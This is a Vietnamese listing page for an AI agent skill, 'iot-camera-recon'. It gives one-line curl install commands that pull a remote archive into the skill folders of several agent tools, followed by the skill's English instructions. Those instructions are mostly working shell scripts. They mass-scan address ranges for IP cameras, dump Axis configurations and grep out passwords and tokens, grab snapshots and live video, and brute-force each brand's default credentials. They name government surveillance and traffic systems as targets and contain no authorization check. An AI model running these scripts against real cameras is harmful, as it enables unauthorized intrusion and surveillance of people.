iot-camera-recon – skill Bảo mật cho agent AI
Tấn công camera qua RTSP, ONVIF, cấu hình Axis khi cổng 554 đang mở.
Cài skill iot-camera-recon bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/iot-camera-recon-bf0dc.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /iot-camera-recon – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/iot-camera-recon-bf0dc.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $iot-camera-recon – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/iot-camera-recon-bf0dc.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /iot-camera-recon – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/iot-camera-recon-bf0dc.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /iot-camera-recon – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
IoT Camera Recon Skill
IP camera assessment covering RTSP exposure, vendor configuration endpoints,
ONVIF service enumeration, authentication controls, and firmware
identification.
When to Use
port-mass-scanfinds RTSP (554) or camera HTTP ports (80, 8010, 8011).- Target is a physical security company, traffic management, or government surveillance.
- Shodan search reveals camera devices in the target's IP range.
- After
port-service-discoveryfinds Axis/Hikvision/Dahua ONVIF services.
Prerequisites
terminalwith curl, python3.- For mass scanning: masscan or RustScan (see
port-mass-scan). - VLC or ffmpeg for stream verification (optional).
How to Run
# Quick camera detection on known IP
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/jpg/image.cgi" -o snapshot.jpg
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/admin/param.cgi?action=list" | head -50
# Mass RTSP discovery on a /24
masscan -p554,80,8010,8011 --rate=10000 192.168.0.0/24 -oJ cameras.jsonQuick Reference
| Camera Brand | Default HTTP Port | Snapshot URL | Config URL | Default Creds |
|-------------|-------------------|-------------|------------|---------------|
| Axis | 80, 8010 | /axis-cgi/jpg/image.cgi | /axis-cgi/admin/param.cgi?action=list | root:pass, root:admin |
| Hikvision | 80, 554 | /ISAPI/Streaming/channels/101/picture | /System/configurationFile?auth=... | admin:12345, admin:admin |
| Dahua | 80, 554 | /cgi-bin/snapshot.cgi | /cgi-bin/configManager.cgi?action=getConfig | admin:admin, admin:password |
| Intelbras | 80 | /cgi-bin/snapshot.cgi | /web/cgi-bin/hi3510/param.cgi | admin:admin, admin:123456 |
| ONVIF | 80, 8899 | N/A (SOAP) | /onvif/device_service | admin:admin |
Procedure
Phase 1 — Mass Camera Discovery
RANGE="$1" # e.g., [REDACTED_IP]/16
OUTDIR="$OUTDIR/cameras"
mkdir -p "$OUTDIR"
echo "[*] Camera hunt on $RANGE"
# Masscan for RTSP + camera HTTP ports
masscan -p554,80,8010,8011,8899 --rate=50000 "$RANGE" -oJ "$OUTDIR/masscan_cameras.json"
# Extract IPs with open camera ports
HITS=$(python3 -c "
import json
with open('$OUTDIR/masscan_cameras.json') as f:
ips = set()
for line in f:
try:
data = json.loads(line.strip()) if line.strip() else {}
ips.add(data.get('ip', ''))
except: pass
for ip in sorted(ips):
print(ip)
" 2>/dev/null)
echo "[+] $(echo "$HITS" | wc -l) IPs with camera ports"
# Probe each with curl
echo "$HITS" | while read ip; do
echo "--- $ip ---"
# Axis snapshot
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:8010/axis-cgi/jpg/image.cgi")
[[ "$code" == "200" ]] && echo " [AXIS] Snapshot: http://$ip:8010/axis-cgi/jpg/image.cgi"
# Axis config dump
config=$(curl -sk --max-time 5 --connect-timeout 5 "http://$ip:8010/axis-cgi/admin/param.cgi?action=list" 2>/dev/null)
if [[ -n "$config" ]] && echo "$config" | grep -q "root.Brand"; then
BRAND=$(echo "$config" | grep "root.Brand.Brand=" | cut -d= -f2 | tr -d '"')
MODEL=$(echo "$config" | grep "root.Brand.ProdShortName=" | cut -d= -f2 | tr -d '"')
FIRMWARE=$(echo "$config" | grep "root.Properties.Firmware.Version=" | cut -d= -f2 | tr -d '"')
SERIAL=$(echo "$config" | grep "root.Properties.System.SerialNumber=" | cut -d= -f2 | tr -d '"')
echo " [CONFIG] $BRAND $MODEL — Firmware: $FIRMWARE — Serial: $SERIAL"
echo "$config" | wc -l | xargs echo " Parameters:"
fi
# Generic RTSP
for port in 554 8554; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:$port/")
[[ "$code" != "000" ]] && echo " [RTSP] Port $port responds (HTTP $code)"
done
# ONVIF discovery (port 8899 or 80)
for port in 8899 80; do
resp=$(curl -sk --max-time 5 --connect-timeout 5 -X POST "http://$ip:$port/onvif/device_service" \
-H "Content-Type: application/soap+xml" \
-d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>' 2>/dev/null)
if echo "$resp" | grep -qi "manufacturer\|model\|serial"; then
echo " [ONVIF] Device info available on port $port"
fi
done
donePhase 2 — Axis Camera Full Exploitation
IP="$1"
echo "[*] Axis camera exploitation on $IP"
# 1. Snapshot
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/jpg/image.cgi" -o "axis_${IP//./_}_snapshot.jpg"
echo "[+] Snapshot saved"
# 2. Full config dump (988 parameters on Axis P1378-LE)
curl -sk --max-time 10 --connect-timeout 10 "http://$IP:8010/axis-cgi/admin/param.cgi?action=list" -o "axis_${IP//./_}_config.txt"
PARAM_COUNT=$(wc -l < "axis_${IP//./_}_config.txt")
echo "[+] Config dump: $PARAM_COUNT parameters"
# 3. Extract sensitive parameters
echo "[*] Sensitive parameters:"
grep -iE 'password|user|token|key|serial|license|cert|network\.eth0\.IP' "axis_${IP//./_}_config.txt" | head -20
# 4. MJPG video stream
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/mjpg/video.cgi" -o "axis_${IP//./_}_stream.mjpg" &
sleep 3; kill %1 2>/dev/null
STREAM_SIZE=$(stat -c%s "axis_${IP//./_}_stream.mjpg" 2>/dev/null || echo 0)
[[ "$STREAM_SIZE" -gt 1000 ]] && echo "[+] Live MJPG stream captured (${STREAM_SIZE} bytes)"
# 5. List available services
for svc in "admin" "viewer" "operator" "ptz" "applications" "local"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$IP:8010/axis-cgi/$svc/")
[[ "$code" != "404" && "$code" != "000" ]] && echo " Service: /axis-cgi/$svc/ (HTTP $code)"
donePhase 3 — Default Credential Testing
IP="$1"
BRAND="${2:-axis}" # axis, hikvision, dahua, intelbras
echo "[*] Default credential test on $IP ($BRAND)"
# Brand-specific default credentials
case "$BRAND" in
axis)
CREDS=("root:pass" "root:admin" "root:root" "root:12345" "admin:admin" "admin:12345")
AUTH_URL="http://$IP:8010/axis-cgi/admin/param.cgi?action=list"
;;
hikvision)
CREDS=("admin:12345" "admin:admin" "admin:123456" "admin:password")
AUTH_URL="http://$IP/ISAPI/System/deviceInfo"
;;
dahua)
CREDS=("admin:admin" "admin:password" "admin:123456" "admin:admin123")
AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
;;
intelbras)
CREDS=("admin:admin" "admin:123456" "admin:password" "admin:admin123")
AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
;;
*)
CREDS=("admin:admin" "admin:12345" "root:admin" "admin:password")
AUTH_URL="http://$IP/"
;;
esac
for cred in "${CREDS[@]}"; do
USER="${cred%%:*}"
PASS="${cred##*:}"
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
-u "$USER:$PASS" "$AUTH_URL" 2>/dev/null)
if [[ "$code" == "200" ]]; then
echo " [CRITICAL] DEFAULT CREDENTIALS: $cred"
elif [[ "$code" == "401" ]]; then
echo " [-] $cred (auth failed)"
else
echo " [$code] $cred"
fi
donePhase 4 — RTSP Stream Access
IP="$1"
PORT="${2:-554}"
echo "[*] RTSP stream access on $IP:$PORT"
# Common RTSP paths
STREAMS=(
"/live" "/stream" "/cam/realmonitor"
"/h264" "/h264/ch1/main/av_stream"
"/Streaming/Channels/101" "/ISAPI/Streaming/channels/101"
"/axis-media/media.amp" "/onvif1" "/onvif2"
)
for stream in "${STREAMS[@]}"; do
RTSP_URL="rtsp://$IP:$PORT$stream"
echo -n " $stream: "
# Test with ffmpeg (2 second probe)
timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
if [[ $? -eq 0 ]]; then
echo "LIVE STREAM"
else
echo "no response"
fi
done
# Try with default credentials
for cred in "admin:admin" "admin:12345" "root:pass"; do
RTSP_URL="rtsp://${cred}@$IP:$PORT/live"
timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
[[ $? -eq 0 ]] && echo " [CRITICAL] RTSP stream accessible with $cred"
donePitfalls
- CGNAT blocks direct camera access. Many cameras are behind carrier-grade NAT and unreachable from internet.
- RTSP over UDP is unreliable. Use
-rtsp_transport tcpfor reliable stream testing. - Config dump can be LARGE. Axis configs are 50-200KB. Use
--max-timeto avoid hanging on slow connections. - Video streams are bandwidth-heavy. Test with snapshot first, then short stream probes.
- Camera firmware is rarely updated. 2020 firmware on a 2026 scan is common — don't assume patches.
Verification
- Snapshot URL MUST return a valid JPEG image (check with
filecommand). - Config dump MUST contain camera-specific parameters (Brand, Model, Serial Number, Firmware Version).
- RTSP stream MUST produce video frames (verified with ffprobe or VLC).
- Default credentials MUST grant access to protected endpoints (HTTP 200 with auth vs 401 without).
- All exposed parameters must be documented: brand, model, serial, firmware version, network config, credentials found.
Skill liên quan
- burpsuite-project-parser – Tìm kiếm và khám phá file project Burp Suite (.burp) từ dòng lệnh. Dùng khi tìm kiếm…
- js-secrets-extraction – Phân tích JS bundle và source map để tìm secret được mã hóa cứng, API key, JWT và…
- jwt-attack – Giải mã, giả mạo và brute-force JWT khi thấy header xác thực Bearer.
- helm-chart-builder – Skill và plugin agent phát triển Helm chart cho Claude Code, Codex, Gemini CLI, Cursor…
- meme-coin-audit – Kiểm tra bảo mật meme coin và token — phát hiện rug pull (honeypot, mint ẩn, thao túng…
- changelog-entry – Tạo mục CHANGELOG.md đúng định dạng Keep a Changelog từ khoảng commit hoặc PR. Nhóm thay…
- mid-engagement-ir-detection – Phương pháp phát hiện bản vá SOC của khách hàng, hoạt động tấn công và thay đổi trạng…
- oss-forensics – Điều tra pháp chứng chuỗi cung ứng GitHub: khôi phục, IOC, báo cáo.